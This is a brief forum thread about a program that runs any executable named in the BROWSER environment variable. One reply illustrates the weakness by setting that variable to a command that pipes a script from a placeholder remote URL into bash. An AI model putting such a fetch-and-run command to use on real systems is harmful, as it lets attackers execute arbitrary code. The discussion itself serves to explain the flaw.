3 ms·

> If the environment allows executing a browser From my reading of this, it allows executing any executable you can put in the BROWSER environment

• csunbird 6y ago
  Which you can set it to something like "curl $REMOTE_URL_WHERE_SCRIPT_IS_HOSTED | bash" and run arbitrary code.
• neolog 6y ago
  Oh you're right.